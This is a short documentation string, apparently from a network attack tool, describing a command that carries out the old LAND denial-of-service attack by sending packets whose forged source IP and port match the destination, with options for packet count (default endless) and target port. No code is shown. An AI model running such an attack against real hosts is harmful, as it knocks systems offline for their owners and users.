docs: This command implements the LAND attack, that sends packets forging the
      source IP address to be the same that the destination IP. Also uses the
      same source and destination port.
  
      The attack is very old, and can be used to make a Denial of Service on
      old systems, like Windows NT 4.0. More information here:

      Note: Each dot (.) is a sent packet. You can specify how many
      packets send with the '-c' option. The default is never stop. Also, you
      can specify the destination port, with the '-p' option.
